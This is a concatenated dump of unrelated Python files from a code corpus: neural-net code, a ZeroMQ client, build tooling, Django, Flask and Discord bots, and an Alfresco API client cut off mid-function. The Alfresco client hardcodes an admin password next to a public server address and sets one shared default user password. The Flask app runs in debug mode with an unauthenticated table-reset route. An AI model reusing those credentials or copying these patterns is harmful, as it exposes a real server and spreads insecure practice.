math::\n p_{k} = \\log{\\frac{e^{s_k}}{\\sum_{i=1}^{C}{e^{s_i}}}}\n\n Examples\n --------\n >>> import mygrad as mg\n >>> from mygrad.nnet import logsoftmax\n >>> x = mg.Tensor([[ 2., 2., 2.],\n ... [2E50, 2E50, 1E50]])\n >>> logsoftmax(x)\n Tensor([[-1.09861229e+00, -1.09861229e+00, -1.09861229e+00],\n [ 0.00000000e+00, 0.00000000e+00, -1.00000000e+50]])\n \"\"\"\n return Tensor._op(LogSoftmax, x, op_kwargs=dict(axis=axis), constant=constant)\n","sub_path":"src/mygrad/nnet/activations/softmax.py","file_name":"softmax.py","file_ext":"py","file_size_in_byte":4716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"115121200","text":"import zmq\r\n\r\nfrom json import loads\r\nfrom time import sleep\r\n\r\nhost = '127.0.0.1'\r\nport = '5556'\r\n\r\ncontext = zmq.Context()\r\ncontext.setsockopt(zmq.SUBSCRIBE, b\"\")\r\n\r\nsocket = context.socket(zmq.SUB)\r\nsocket.connect(f'tcp://{host}:{port}')\r\n\r\nwhile True:\r\n msg = loads(socket.recv().decode())\r\n\r\n print(msg['timestamp'])\r\n\r\n # data = msg.get('params', {}).get('data', {})\r\n # if data.get('instrument_name', '') == 'BTC-PERPETUAL':\r\n # print(data.get('best_bid_price', ''), '/', data.get('best_ask_price', ''))\r\n\r\n # if msg.get('symbol') == 'BTC-PERPETUAL':\r\n # print(msg.get('last'))\r\n","sub_path":"zmq_client.py","file_name":"zmq_client.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"105470700","text":"#!/usr/bin/env python3\nfrom argparse import ArgumentParser\nimport json\nimport os\nimport shutil\n\n\nparser = ArgumentParser(description='Migrate old argument json files.')\n\nparser.add_argument(\n '--args_file', required=True, type=str,\n help='Location of the old arguments json file which will be tested and '\n 'migrated to the current format.')\n\n\ndef main():\n args = parser.parse_args()\n\n # Load the file and check if deprecated arguments are present.\n with open(args.args_file, 'r') as f:\n arguments = json.load(f)\n changed = False\n\n # A single dataset is specified instead of a list of datasets.\n if type(arguments['dataset_config']) == str:\n for k in ['dataset_config', 'dataset_root', 'train_set']:\n arguments[k] = [arguments[k]]\n changed = True\n\n # The old crop augmentation is used. Since this was only ever really used\n # with quarter resolution CityScapes images, I will not make this super\n # general and simply assume this is the case here.\n if 'crop_augment' in arguments and arguments['crop_augment'] > 0:\n arguments['fixed_crop_augment_height'] = 256 - arguments['crop_augment']\n arguments['fixed_crop_augment_width'] = 512 - arguments['crop_augment']\n arguments.pop('crop_augment')\n changed = True\n\n if changed:\n # Make a backup copy of the old file\n backup_saved = False\n for i in range(100):\n backup_name = args.args_file.replace(\n '.json', '_bu{}.json'.format(i))\n if not os.path.isfile(backup_name):\n shutil.copy(args.args_file, backup_name)\n print('Backup written to: {}'.format(backup_name))\n backup_saved = True\n break\n if not backup_saved:\n print('More than a 100 backups seem to exist, quiting, fix this '\n 'first.')\n exit(1)\n\n # Write the new file.\n with open(args.args_file, 'w') as f:\n json.dump(\n arguments, f, ensure_ascii=False, indent=2, sort_keys=True)\n else:\n print('No changes needed to be made.')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"migrate_args.py","file_name":"migrate_args.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"584002591","text":"import os\n# import json\nfrom pathlib import Path\nfrom gdbuild.file_helper import FileHelper\n\n\n# Default Export Names\nclass ExportPlatforms:\n WINDOWS = \"Windows Desktop\"\n MACOSX = \"Mac OSX\"\n LINUX = \"Linux/X11\"\n\n\nclass Platforms:\n WINDOWS = \"Windows\"\n MACOSX = \"MacOSX\"\n LINUX = \"Linux\"\n\n\nclass Data:\n\n PLATFORM = 0\n FILE_EXT = 1\n\n template_platform_data = {\n Platforms.WINDOWS: {\n PLATFORM: Platforms.WINDOWS,\n FILE_EXT: \".exe\"\n },\n Platforms.MACOSX: {\n PLATFORM: Platforms.MACOSX,\n FILE_EXT: \"_zip\"\n },\n Platforms.LINUX: {\n PLATFORM: Platforms.LINUX,\n FILE_EXT: \".x86_64\"\n },\n }\n\n def get_default_platform_data(self, key):\n return self.template_platform_data[key].copy()\n\n\nclass GDBuild:\n SUCCESS = \"SUCCESS\"\n FAILURE = \"FAILURE\"\n export_platforms = ExportPlatforms()\n file_helper = FileHelper()\n\n def __init__(\n self, project_path, build_path, game_name, godot_file_path, export_debug=False,\n windows_build_name=None, macosx_build_name=None, linux_build_name=None,\n create_zip=True, test=False, execute_build_on_init=False\n ):\n self.project_path = project_path\n self.build_path = build_path\n self.game_name = game_name\n self.godot_file_path = godot_file_path\n self.export_debug = export_debug\n self.windows_build_name = windows_build_name\n self.macosx_build_name = macosx_build_name\n self.linux_build_name = linux_build_name\n self.create_zip = create_zip\n self.test = test\n self.platform_data = self.get_platform_data()\n\n if execute_build_on_init:\n self.execute_builds()\n\n def get_platform_data(self):\n data = {}\n if self.windows_build_name is not None:\n data.update({Platforms.WINDOWS: Data.template_platform_data[Platforms.WINDOWS].copy()})\n if self.macosx_build_name is not None:\n data.update({Platforms.MACOSX: Data.template_platform_data[Platforms.MACOSX].copy()})\n if self.linux_build_name is not None:\n data.update({Platforms.LINUX: Data.template_platform_data[Platforms.LINUX].copy()})\n return data\n\n def get_build_name(self, platform):\n if platform == Platforms.WINDOWS:\n return self.windows_build_name\n elif platform == Platforms.MACOSX:\n return self.macosx_build_name\n elif platform == Platforms.LINUX:\n return self.linux_build_name\n else:\n return None\n\n def package_macosx_build(self, platform_file_path, platform_folder_path):\n extracted_folder_path = Path(\"{}/{}.app\".format(platform_folder_path, self.game_name))\n file_extract_paths = {\n \"Info.plist\": Path(\"{}/Contents/Info.plist\".format(extracted_folder_path)),\n \"PkgInfo\": Path(\"{}/Contents/PkgInfo\".format(extracted_folder_path)),\n self.game_name: Path(\"{}/Contents/MacOS/{}\".format(extracted_folder_path, self.game_name)),\n \"icon.icns\": Path(\"{}/Contents/Resources/icon.icns\".format(extracted_folder_path)),\n \"{}.pck\".format(self.game_name): Path(\n \"{}/Contents/Resources/{}.pck\".format(\n extracted_folder_path,\n self.game_name\n )\n )\n }\n self.file_helper.extract_all_zip(zip_src_path=platform_file_path, extract_path=platform_folder_path)\n for file in file_extract_paths:\n src_file_path = file_extract_paths[file]\n dest_file_path = Path(\"{}/{}\".format(platform_folder_path, file))\n self.file_helper.move_file(src_file_path, dest_file_path)\n self.file_helper.remove_file(platform_file_path)\n self.file_helper.remove_directory(extracted_folder_path)\n\n def execute_builds(self):\n prev_cwd = os.getcwd()\n os.chdir(self.project_path)\n\n for build_platform in self.platform_data:\n build = self.platform_data[build_platform]\n platform = build[Data.PLATFORM]\n file_ext = build[Data.FILE_EXT]\n platform_folder_name = \"{}_{}\".format(self.game_name, platform)\n platform_folder_path = Path(\"{}/{}/{}\".format(self.build_path, self.game_name, platform_folder_name))\n platform_file_path = Path(\"{}/{}{}\".format(platform_folder_path, self.game_name, file_ext))\n build_name = self.get_build_name(platform)\n export_flag = \"--export\"\n if self.export_debug:\n export_flag = \"--export-debug\"\n export_command = \"{} {} \\\"{}\\\" {}\".format(\n self.godot_file_path, export_flag, build_name, platform_file_path,\n )\n\n # print(\"Initializing build:\")\n # print(\n # json.dumps(\n # {\n # \"platform\": platform,\n # \"file_ext\": file_ext,\n # \"platform_folder_name\": platform_folder_name,\n # \"platform_folder_path\": str(platform_folder_path),\n # \"platform_file_path\": str(platform_file_path),\n # \"build_name\": build_name,\n # \"export_flag\": export_flag,\n # \"export_command\": export_command\n # },\n # indent=4,\n # sort_keys=True\n # )\n # )\n\n if not self.test:\n # print(\"Recreating platform build folder at {}\".format(platform_folder_path))\n self.file_helper.recreate_directory(platform_folder_path)\n\n # print(\"Kicking of build with export command: {}\".format(export_command))\n os.system(export_command)\n\n if build_platform == Platforms.MACOSX:\n self.package_macosx_build(platform_file_path, platform_folder_path)\n\n if self.create_zip:\n self.file_helper.create_zip(\n \"{}/{}.zip\".format(self.build_path, platform_folder_name),\n platform_folder_name,\n platform_folder_path\n )\n\n os.chdir(prev_cwd)\n return self.SUCCESS\n","sub_path":"gdbuild/gdbuild.py","file_name":"gdbuild.py","file_ext":"py","file_size_in_byte":6610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"613821955","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('fundraising', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='GoFundMe',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('url', models.URLField()),\n ('campaign', models.CharField(max_length=30)),\n ('location', models.CharField(max_length=30)),\n ('goal', models.DecimalField(max_digits=11, decimal_places=2)),\n ('total', models.DecimalField(max_digits=11, decimal_places=2)),\n ('donors_number', models.IntegerField()),\n ('created_by', models.CharField(max_length=30)),\n ('date_created', models.DateField()),\n ('date_closed', models.DateField()),\n ],\n ),\n migrations.AlterField(\n model_name='fundraiser',\n name='fundraiser',\n field=models.CharField(max_length=30, blank=True),\n ),\n migrations.AlterField(\n model_name='fundraiser',\n name='raised',\n field=models.DecimalField(max_digits=11, decimal_places=2, blank=True),\n ),\n migrations.AlterField(\n model_name='fundraiser',\n name='url',\n field=models.URLField(blank=True),\n ),\n ]\n","sub_path":"nepalfund/fundraising/migrations/0002_auto_20150607_1556.py","file_name":"0002_auto_20150607_1556.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"627804076","text":"\nimport numpy as np\nimport scipy.constants as const\n\nfrom semiconductor.general_functions.carrierfunctions import get_carriers\nfrom semiconductor.matterial.ni import IntrinsicCarrierDensity as ni\nfrom mobility import Mobility as Mob\nfrom ionisation import Ionisation as Ion\nfrom semiconductor.helper.helper import HelperFunctions\n\n\nclass Resistivity(HelperFunctions):\n\n cal_dts = {\n 'matterial': 'Si',\n 'temp': 300,\n 'mob_author': None,\n 'nieff_author': None,\n 'ionis_author': None,\n 'dopant': 'boron',\n }\n\n\n def __init__(self, **kwargs):\n self._update_dts(**kwargs)\n self._update_links()\n\n def _update_links(self):\n\n # setting downstream values, this should change from initalisation\n # to just updating through the update function\n self.Mob = Mob(matterial=self.cal_dts['matterial'],\n author=self.cal_dts['mob_author'],\n temp=self.cal_dts['temp'])\n self.ni = ni(matterial=self.cal_dts['matterial'],\n author=self.cal_dts['nieff_author'],\n temp=self.cal_dts['temp'])\n self.ion = Ion(matterial=self.cal_dts['matterial'],\n author=self.cal_dts['ionis_author'],\n temp=self.cal_dts['temp'])\n\n def query_used_authors(self):\n return self.Mob.model, self.ni.model, self.ion.model\n\n def _conductivity(self, Na, Nd, nxc, **kwargs):\n\n Nid, Nia = get_carriers(Na, Nd, 0,\n temp=self.cal_dts['temp'],\n ni_author=self.cal_dts['nieff_author']\n )\n\n if np.all(Nid > Nia):\n Nid = self.ion.update_dopant_ionisation(\n Nid, nxc, self.cal_dts['dopant'])\n elif np.all(Nia > Nid):\n Nia = self.ion.update_dopant_ionisation(\n Nia, nxc, self.cal_dts['dopant'])\n\n ne, nh = get_carriers(Nid, Nia, nxc,\n temp=self.cal_dts['temp'],\n ni_author=self.cal_dts['nieff_author']\n )\n\n mob_e = self.Mob.electron_mobility(nxc, Na, Nd,\n temp=self.cal_dts['temp'])\n mob_h = self.Mob.hole_mobility(nxc, Na, Nd,\n temp=self.cal_dts['temp'])\n\n # print mob_h, mob_e, Na\n\n return const.e * (mob_e * ne + mob_h * nh)\n\n def caculate(self, Na, Nd, nxc, **kwargs):\n '''\n caculates the resistivity\n '''\n\n self._update_dts(**kwargs)\n self._update_links()\n res = 1. / self._conductivity(Na, Nd, nxc, **kwargs)\n\n return res\n","sub_path":"electrical/resistivity.py","file_name":"resistivity.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"110578743","text":"import json\nfrom flask import request, jsonify\nfrom flask_login import current_user\nfrom sqlalchemy import text\nfrom app import db\nfrom app.utils import validate_json, login_required, roles_required\nfrom app.main import main\nfrom app.main.schema import YEAR_SCHEMA\nfrom app.main.models import Option\nfrom app.main.manager import (\n get_years,\n create_or_update_year,\n delete_year_by_id\n)\n\n@main.route('/year', methods=['GET'])\ndef year_get_all():\n\n years = get_years()\n\n return jsonify({\n 'years': years\n }), 200\n\n\n@main.route('/year', methods=['POST'])\n@login_required\n@validate_json(YEAR_SCHEMA)\ndef year_create(data):\n\n year = create_or_update_year(data)\n if not year:\n return jsonify({\n 'msg': '失敗'\n }), 404\n\n return jsonify({\n 'year': year\n }), 200\n\n\n@main.route('/year/', methods=['PUT'])\n@login_required\n@validate_json(YEAR_SCHEMA)\ndef year_update(data, id):\n\n year = create_or_update_year(data, id)\n if not year:\n return jsonify({\n 'msg': '失敗'\n }), 404\n\n return jsonify({\n 'year': year\n }), 200\n\n\n@main.route('/year/', methods=['DELETE'])\n@login_required\ndef year_delete(id):\n\n delete_year_by_id(id)\n\n return jsonify({\n }), 200","sub_path":"app/main/routes/route_year.py","file_name":"route_year.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"541657517","text":"\"\"\"\n\nDexter - Example Discord Bot written in Python\n\nThis program requires discord.py (pip install discord.py)\n\n\"\"\"\n\n# Import discord.py and asyncio\nimport discord\nimport asyncio\n\n# Import our configuration information to the local namespace\n# import config\nfrom config import *\n\n# Import our message processing module\nimport respond\n\n# Import our background processing module\nimport background\n\n# Instantiate the Discord Client\nbot = discord.Client()\n\n\n# Main function\ndef main():\n # Create the background task\n bot.loop.create_task(background_task())\n\n # Execute the client\n bot.run(TOKEN)\n\n # We should never get here\n exit(0)\n\n\n# Define a background task that can inject messages\n# based on time or other external input\nasync def background_task():\n\n # client must be ready\n await bot.wait_until_ready()\n\n # Delay so the on_ready event executes first\n await asyncio.sleep(30)\n\n # Create object to default channel\n channel = bot.get_channel(CHANNEL)\n\n # Loop while the client is online\n while not bot.is_closed:\n\n # Call our background function\n message = background.background()\n\n # Send a message if we received one\n if message is not None:\n if message != \"\":\n print(\"s: \" + channel.name + \" : \" + message)\n await bot.send_message(channel, message)\n\n # Sleep\n await asyncio.sleep(30) # task runs every 30 seconds\n\n\n# Discord client event that receives a message\n@bot.event\nasync def on_message(message):\n # Assume received message is not private\n private = False\n\n # We do not want the bot to reply to itself\n if message.author == bot.user:\n return\n\n # Convert the incoming message to lower case\n m = message.content.lower()\n\n # Is this a private message?\n if message.channel.is_private:\n private = True\n else:\n # The message is not private, so check to see if it starts with our prefix.\n # If it does not, ignore it.\n # Note that our prefix is also converted to lower case, so this is a\n # case insensitive comparison\n if not m.startswith(PREFIX.lower()):\n return\n\n # Remove our prefix from the start of the message\n length = len(PREFIX)\n m = m[length:].lstrip()\n\n # Get the user's mention reference and name to make for cleaner\n # sample code\n user_mention = '{0.author.mention}'.format(message)\n user_name = message.author.name\n\n # Output message to the console\n if private:\n print(\"r: \" + user_name + ' (private) : ' + m)\n else:\n print(\"r: \" + user_name + ' (' + message.channel.name + ') : ' + m)\n\n # Call our message processing function with the user's name, private flag, and message\n # It will return a response, if any\n response = respond.process(m, user_name, private)\n\n # If there is no response, we're done\n if response is None:\n return\n\n # Just in case a blank string is returned instead of None...\n if response == \"\":\n return\n\n # Output response to the console\n if private:\n print(\"s: \" + user_name + ' (private) : ' + response)\n else:\n print(\"s: \" + user_name + ' (' + message.channel.name + ') : ' + response)\n\n # If the message is public, prepend it with the user's mention (i.e. @user)\n if not private:\n response = user_mention + ' ' + response\n\n # Send the response\n await bot.send_message(message.channel, response)\n\n\n# Discord client event that triggers when blog logs in\n@bot.event\nasync def on_ready():\n # Print connection information to console\n print(BOTNAME + ' Logged in as user ' + str(bot.user.name) + ' id ' + bot.user.id)\n\n # Obtain a discord object for our default channel\n channel = bot.get_channel(CHANNEL)\n\n # Print default channel name\n print(\"Default channel is \" + channel.name)\n\n # Announce ourselves\n tmp = BOTNAME + \" has connected!\"\n print(\"s: (\" + channel.name + \") : \" + tmp)\n await bot.send_message(channel, tmp)\n\n\n# Execute only if run as a script\nif __name__ == \"__main__\":\n main()\n","sub_path":"dexter.py","file_name":"dexter.py","file_ext":"py","file_size_in_byte":4113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"523517044","text":"from flask import Flask, render_template, send_file, make_response, request, url_for\r\nimport sqlite3\r\nimport os\r\nfrom werkzeug.utils import redirect\r\nfrom datetime import datetime, timezone, timedelta\r\nimport createTable as createTable\r\napp = Flask(__name__)\r\n\r\nalert_text_file = 'alert_file.txt'\r\n#database = '/home/gsiebrecht/PycharmProjects/bin_temperature/sensorsData.db'\r\n#database = 'sensorsData.db'\r\ndatabase = '/var/www/html/binweb/bin_temperature/sensorsData.db'\r\nsite_id = 1\r\n\r\ndef get_all(): # this is for the chart\r\n conn = sqlite3.connect(database, check_same_thread=False)\r\n curs = conn.cursor()\r\n curs.execute(\"SELECT * FROM DHT_data ORDER BY timestamp DESC\")\r\n data = curs.fetchall()\r\n dates = []\r\n temps = []\r\n # siteids = []\r\n soiltemps = []\r\n # sensor1 = []\r\n # sensor2 = []\r\n # sensor3 = []\r\n # sensor4 = []\r\n # sensor5 = []\r\n # sensor6 = []\r\n for row in reversed(data):\r\n dates.append(row[0])\r\n temps.append(row[1])\r\n #siteids.append(row[2])\r\n soiltemps.append(row[3])\r\n # sensor1.append(row[4])\r\n # sensor2.append(row[5])\r\n # sensor3append(row[6])\r\n # sensor4.append(row[7])\r\n # sensor5.append(row[8])\r\n # sensor6.append(row[9])\r\n\r\n\r\n\r\n #print(soiltemps)\r\n conn.close()\r\n return dates, temps, soiltemps\r\n\r\n@app.route(\"/reset\", methods=['GET', 'POST'])\r\ndef something():\r\n createTable.reset()\r\n return(\"table was reset\")\r\n\r\n\r\n# @app.route(\"/reset\", methods=['GET', 'POST'])\r\n# def createTable():\r\n# reset_table.drop_table()\r\n# print(\"table reset\")\r\n# return \"table reset\"\r\n\r\n\r\ndef number_records(): # display number of recoreds\r\n conn = sqlite3.connect(database, check_same_thread=False)\r\n curs = conn.cursor()\r\n curs.execute(\"SELECT COUNT (*) FROM DHT_data\")\r\n datapoints = curs.fetchall()\r\n # print('\\nTotal rows: {}'.format(datapoints[0][0]))\r\n # print(\"here\")\r\n conn.close()\r\n return datapoints[0][0]\r\n\r\n\r\ndef check_rapid_rise(current_temp):\r\n conn = sqlite3.connect(database, check_same_thread=False)\r\n curs = conn.cursor()\r\n temp_week_ago = 0\r\n for row in curs.execute(\r\n \"SELECT * FROM DHT_data WHERE timestamp BETWEEN datetime('now', '-8 days') AND datetime('now', '-6 days') LIMIT 1;\"):\r\n temp_week_ago = row[1]\r\n conn.close()\r\n temp_difference = current_temp - temp_week_ago\r\n print('temp difference=', temp_difference)\r\n if temp_difference >= 3 and current_temp > 32:\r\n print(\"DANGER RAPID RISE DETECTED 3 degrees in one week at 32.\")\r\n set_temp_alarm('true')\r\n formatted_temp_difference = round(temp_difference, 1)\r\n return formatted_temp_difference, temp_week_ago\r\n else:\r\n formatted_temp_difference = round(temp_difference, 1)\r\n return formatted_temp_difference, temp_week_ago\r\n\r\ndef create_timer():\r\n conn = sqlite3.connect(database)\r\n curs = conn.cursor()\r\n timestamp = datetime.now()\r\n curs.execute(\"INSERT INTO tbl_timer values((?))\", (timestamp,))\r\n conn.commit()\r\n conn.close()\r\n\r\ndef check_timer():\r\n conn = sqlite3.connect(database)\r\n curs = conn.cursor()\r\n timer_start = []\r\n for row in curs.execute(\"SELECT * FROM tbl_timer\"):\r\n timer_start = row[0]\r\n conn.close()\r\n #print(timer_start)\r\n now = datetime.now()\r\n timer_started = datetime.strptime(timer_start, '%Y-%m-%d %H:%M:%S.%f')\r\n delta = now - timer_started\r\n fixed_delta = timedelta(seconds=8000) #8000\r\n if delta > fixed_delta:\r\n print(\"timer function says cancel timer enough time has passed\")\r\n cancel = True\r\n else:\r\n print(\"check timer function in timer modules returns false \")\r\n cancel = False\r\n\r\n #print(delta)\r\n print('delta seconds=', delta.seconds)\r\n print('delta days=', delta.days)\r\n return cancel\r\n\r\ndef set_temp_alarm(temp_alarm): # we expect a string of true check status\r\n # alert_file = open(\"alert_file.txt\", \"w\") # create the alert file\r\n if temp_alarm == 'true':\r\n if check_timer() == True:\r\n if os.path.exists(alert_text_file):\r\n alert_file = open(alert_text_file, \"rt\")\r\n if alert_file.readline() == 'true':\r\n alert_file.close()\r\n # print(\"file contents=True close it and return true\")\r\n return 'true'\r\n else:\r\n alert_file = open(alert_text_file, \"w\")\r\n alert_file.write(\"true\")\r\n alert_file.close()\r\n print(\"file contents were overwritten\")\r\n return 'true'\r\n else:\r\n alert_file = open(alert_text_file, \"w\")\r\n alert_file.write(\"true\")\r\n alert_file.close()\r\n os.chmod(alert_text_file, 0o777)\r\n # print(\"File Created\")\r\n\r\n if temp_alarm == 'check_status':\r\n if os.path.exists(alert_text_file):\r\n alert_file = open(alert_text_file, \"rt\") # open the file for reading\r\n temp_alarm = alert_file.readline()\r\n alert_file.close()\r\n # print(\"checking status of temp alarm\")\r\n return temp_alarm\r\n\r\n\r\ndef get_current_data(): # get current values for display on web page\r\n conn = sqlite3.connect(database, check_same_thread=False)\r\n curs = conn.cursor()\r\n current_time = []\r\n current_temp = []\r\n #current_hum = []\r\n for row in curs.execute(\"SELECT * FROM DHT_data ORDER BY timestamp DESC LIMIT 1\"):\r\n current_time = str(row[0])\r\n current_temp = row[1]\r\n #current_hum = row[2]\r\n conn.close()\r\n temp_difference, temp_week_ago = check_rapid_rise(current_temp)\r\n return current_time, current_temp, temp_difference, temp_week_ago\r\n\r\n\r\n\r\n\r\n@app.route(\"/\", methods=['GET', 'POST'])\r\ndef index():\r\n current_time, current_temp, temp_difference, temp_week_ago = get_current_data()\r\n dates, temps, soiltemps = get_all()\r\n rows = number_records()\r\n temp_alarm = set_temp_alarm(\"check_status\")\r\n #pin_status = check_relay_status()\r\n pin_status = False\r\n\r\n if \"clear_alarm\" in request.form:\r\n print(\"button pressed\")\r\n alert_file = open(alert_text_file, \"w\")\r\n alert_file.write(\"false\")\r\n alert_file.close()\r\n os.chmod(alert_text_file, 0o777)\r\n create_timer()\r\n print(\"set alarm to false and create a new timer\")\r\n return redirect(url_for('index'))\r\n\r\n return render_template('index.html', temp_week_ago=temp_week_ago, temp_difference=temp_difference,\r\n temp_alarm=temp_alarm, temps=temps, soiltemps=soiltemps, dates=dates, current_time=current_time,\r\n rows=rows, current_temp=current_temp, pin_status=pin_status, server_up=\"yes\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(host='0.0.0.0', port=5000, debug=True)\r\n","sub_path":"graphs.py","file_name":"graphs.py","file_ext":"py","file_size_in_byte":6925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"414967954","text":"import requests\nimport json\nfrom base64 import b64encode\nimport urllib.parse\n\ndefSite = {\n \"role\": \"SiteManager\",\n \"visibility\": \"PUBLIC\",\n \"guid\": \"b4cff62a-664d-4d45-9302-98723eac1319\",\n \"description\": \"This is a Sample Alfresco Team site.\",\n \"id\": \"swsdp\",\n \"preset\": \"site-dashboard\",\n \"title\": \"Sample: Web Site Design Project\"\n}\nhost = \"http://35.178.166.45\"\nbase_url = 'http://35.178.166.45/alfresco/api/-default-/public/alfresco/versions/1/'\nadmin_name = 'admin'\nadmin_password = 'i-0c09541dcba022c1e'\nuser_password = \"preset-alfresco-2020\"\n\n\ndef makeAuthHeader(username, password):\n userAndPass = b64encode(bytes(\"{}:{}\".format(username, password), 'ascii')).decode(\"ascii\")\n headers = {'Authorization': 'Basic %s' % userAndPass, 'content-type': 'application/json',\n 'Accept': '*/*', 'Connection': 'keep-alive'}\n print(headers)\n return headers\n\n\ndef makeAdminHeader():\n return makeAuthHeader(admin_name, admin_password)\n\n\ndef createPerson(user):\n headers = makeAdminHeader()\n dict_user = json.loads(user.serialize())[0]\n payload = {}\n print(dict_user)\n payload['id'] = \"user_\" + str(dict_user['pk'])\n payload['email'] = dict_user['fields']['email']\n payload['firstName'] = dict_user['fields']['full_name']\n payload['password'] = user_password\n print(payload)\n url = base_url + 'people'\n requests.post(url, data=json.dumps(payload), headers=headers)\n\n registerToSite(payload)\n\n\n # create Projects Folder on Alfresco in the scope of 'user_id' folder\n user_id = payload['id']\n url = base_url + 'nodes/-root-?relativePath=User Homes/' + user_id + '&include=properties'\n r = requests.get(url, headers=headers)\n children = r.json()\n home_id = children['entry']['id']\n r = createFolder(home_id, 'Projects')\n return r\n\n\ndef registerToSite(userData):\n url = base_url + 'sites/' + defSite['id'] + '/members'\n body = [\n {\n \"role\": \"SiteCollaborator\",\n \"id\": userData['id']\n }\n ]\n print(json.dumps(body))\n headers = makeAdminHeader()\n r = requests.post(url, data=json.dumps(body), headers=headers)\n return r\n\n\ndef getAllSiteNodes():\n url = host + \"/alfresco/service/slingshot/doclib/doclist/node/site/\" + defSite['id'] + \"/documentlibrary/\"\n headers = makeAdminHeader()\n r = requests.get(url, headers=headers)\n\n dict_result = r.json()\n print(dict_result[\"totalRecords\"])\n return r\n\n\n# https://docs.alfresco.com/6.1/concepts/dev-api-by-language-alf-rest-list-children-root-folder.html\n\ndef findNodesFromHome(keyword):\n url = base_url + 'queries/nodes'\n headers = makeAdminHeader()\n params = {\n 'term': keyword,\n 'rootNodeId': '-my-'\n }\n r = requests.get(url, headers=headers, params=params)\n dict_result = r.json()\n return dict_result\n\n\ndef getUserHomeDirectory(request):\n dict_user = json.loads(request.user.serialize())[0]\n user_id = 'user_' + str(dict_user['pk'])\n print(user_id)\n url = base_url + 'nodes/-root-/children?relativePath=User Homes/' + user_id + '&include=properties'\n print(type(urllib.parse.quote_plus(url)))\n print(urllib.parse.quote_plus(url))\n headers = makeAdminHeader()\n r = requests.get(url, headers=headers)\n children = r.json()\n print(children['list']['entries'])\n return children['list']['entries']\n\n\ndef getUserHome(request):\n dict_user = json.loads(request.user.serialize())[0]\n user_id = 'user_' + str(dict_user['pk'])\n url = base_url + 'nodes/-root-?relativePath=User Homes/' + user_id + '&include=properties'\n\n headers = makeAdminHeader()\n r = requests.get(url, headers=headers)\n children = r.json()\n return children['entry']\n\n\ndef createNewProjectFolder(request, folder_name):\n print(request.user.id)\n project_home = getFolderByPath(request.user.id, '/Projects')\n created_folder = createFolder(project_home['id'], folder_name)\n return created_folder.json()\n\n\ndef getFolderByPath(user_id, path):\n url = base_url + 'nodes/-root-?relativePath=User Homes/user_' + str(user_id) + path + '&include=properties'\n print(\"================get folder by path================================\")\n print(url)\n headers = makeAdminHeader()\n r = requests.get(url, headers=headers)\n print(r)\n children = r.json()\n return children['entry']\n\n\ndef getFolderChild(node_id):\n print(\"============get folder child====================\")\n print(node_id)\n url = base_url + 'nodes/' + node_id + '/children?include=properties'\n headers = makeAdminHeader()\n r = requests.get(url, headers=headers)\n print(r,url)\n children = r.json()\n print(children['list']['entries'])\n return children['list']['entries']\n\n\ndef createFolder(node_id, name):\n\n url = base_url + 'nodes/' + node_id + '/children'\n # url = \"http://35.178.166.45/alfresco/api/-default-/public/alfresco/versions/1/nodes/7cdee468-7261-4642-bf11-5b75e863a3dc/children\"\n headers = makeAdminHeader()\n print(\"============creating folder================\")\n print(node_id)\n print(name)\n body = {\n \"name\": str(name),\n \"nodeType\": \"cm:folder\"\n }\n r = requests.post(url, data=json.dumps(body), headers=headers)\n\n print(r)\n return r\n\ndef createProjectFile(user_id,project_id, name, file):\n folder_id = getFolderByPath(user_id, '/Projects/'+project_id)['id']\n createFile(folder_id, name, file)\n\ndef createFile(node_id, name, file):\n\n url = base_url + 'nodes/' + node_id + '/children'\n headers = makeAdminHeader()\n headers['content-type'] = None\n print(\"======uploading file on Alfresco======\")\n print(type(file))\n print(headers)\n print(\"============\")\n files = {\n 'filedata': file\n }\n data = {\n \"name\": name,\n \"nodeType\": \"cm:content\"\n }\n\n r = requests.post(url, data=data, headers=headers, files=files)\n if r.status_code == 200:\n result = r.json()\n created_id = result['entry']['id']\n createSharedLink(created_id)\n print(result)\n return result\n else:\n return None\n\n\ndef createSharedLink(node_id):\n print(\"==========creating sharedLink of node\")\n url = base_url + 'shared-links'\n headers = makeAdminHeader()\n data = {\n \"nodeId\": node_id\n }\n r = requests.post(url, data=json.dumps(data), headers=headers)\n print(r)\n shared_link_id = r.json()['entry']['id']\n\n return shared_link_id\n\n\ndef getNode(node_id):\n url = base_url + 'nodes/' + node_id\n headers = makeAdminHeader()\n r = requests.get(url, headers=headers)\n resp = r.json()\n\n return resp['entry']\n\n\ndef getTags(node_id):\n url = base_url + 'nodes/' + node_id + '/tags'\n headers = makeAdminHeader()\n r = requests.get(url, headers=headers).json()\n return r['list']['entries']\n\n\ndef putTag(node_id, tag):\n url = base_url + 'nodes/' + node_id + '/tags'\n headers = makeAdminHeader()\n body = {\"tag\": tag}\n r = requests.post(url, data=json.dumps(body), headers=headers).json()\n return r\n\n\ndef getRating(request, node_id):\n url = base_url + 'nodes/' + node_id + '/ratings'\n user = request.user\n dict_user = json.loads(user.serialize())[0]\n user_id = \"user_\" + str(dict_user['pk'])\n headers = makeAuthHeader(user_id, user_password)\n\n r = requests.get(url, 